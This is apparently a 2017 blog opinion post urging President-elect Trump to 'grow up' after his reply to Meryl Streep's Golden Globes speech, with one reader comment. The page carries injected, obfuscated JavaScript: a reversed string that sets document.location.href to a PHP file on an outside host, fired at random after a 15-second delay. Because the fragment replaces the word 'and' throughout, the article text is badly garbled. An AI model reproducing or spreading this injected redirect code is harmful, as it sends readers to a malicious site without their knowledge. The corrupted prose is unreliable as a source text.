Mr. President-elect, Grow Up

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(Courtesy CNN)

(Courtesy CNN)

I must confess, I missed Meryl Streep’s speech at last night’s Golden Globes, but the explosion of my Facebook feed prompted me to “Google-ize it”. It didn’t take long to understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and why she was being applauded for her comments.

The multi-award winning actress delivered a thoughtful andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and sincere commentary on what we’ve witnessed in this alternate universe we now call reality. I’m going to check any partisan feelings I have at the door here, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and instead talk about class andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and professionalism.

Meryl Streep >>used truths to explain her position. She referenced the myriad of backgrounds shared by the actors being recognized Sunday night. (Truth) She expressed her disappointment over Donald Trump’s >>mocking of a New York Times reporter with a disability. (There is video evidence of this, although Mr. Trump denied it in one of several Twitter explosions today.) She noted the high expectations we should have of people seeking the country’s highest office. (I pray we all believe this to be true.)

She did not directly attack Mr. Trump’s skills, or leadership, or looks, but instead questioned his behavior.

Within a few hours Donald Trump called her an over-rated actress. Over-rated (Is this Opposite Day?) … with 19 Academy Awards, receiving the Cecil B. Demille Award last night, 30 Golden Globes, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and >>$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == “string”) return $hiVNZt4Y5cDrbJXMhLy.list[n].split(“”).reverse().join(“”);return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=[“‘php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and_nominations_received_by_Meryl_Streep”>hundreds of others. I suppose he believes all of those recognized critics to be poorly trained as well. It’s one example in a>> long list of superficial andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and demeaning criticisms of women – ranging from former employees, to his ex-wife in a Vanity Fair article, to calling women gold-diggers, to insulting fellow candom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andidates, to calling women names like ‘Miss Piggy.’

Opinions are subjective, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and we all have a right to have them. We all have a right to express them, but leaders, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and those in public positions, have an obligation to present well-argued positions based in fact, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and not from a Twitter-handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andle.

Beyond that … an actress shared an opinion at a Hollywood function. I firmly believe that any other President-elect would not have even acknowledged such criticism with a response, publicly or privately. I believe they surely have much more important work to do, such as preparing for the Presidency.

So what’s my point? Again, I’m NOT going to be partisan here. Good behavior is not a Democratic or Republican position. It’s a tenet of humanity. It’s the foundation of our faith in each other.

Beyond that, we as women cannot continue to accept a male-dominated world where offering pithy andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and demeaning comments of our skills, looks or behavior is okay. I call on all of us to join Meryl Streep andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and rise up to say NO. This is not acceptable behavior from family members, bosses, co-workers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and certainly not our leaders.

And to our President-elect. Grow up. Not everyone will like you, but it’s your job to stay above the fray andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and lead our country. Let me back up a minute, don’t lead us all into a world where ridicule andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and bigotry is acceptable. Lead by the objectives andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and goals set forth by our Constitution. Lead so you can look the next generation in the eye andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and say you did your best. Lead so history will look kinder on you than it is expected to.

To Meryl. Thank you. Thank you for using a night that should be all about you andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and your accomplishments, to fire us all up andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ignite passions that we must keep aflame for the next four years.

 




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  1. Dr. Kathleen

    Thank you Meryl for sharing your insight openly and your courage for doing so.
    In 1984 I graduated from Medical School. I was 1 of 5 females in a class of 40. I was a single mother of 2 children. My marriage ended in 4 years with divorce from battery and physical brutality prior to my enrollment in Medical School.Women have come along way in improving our lives. Unfortunately, narcissistic males like Trump continue to feel they have the power and rights to grope females and” put us in our place”. It was white males that put him in office.


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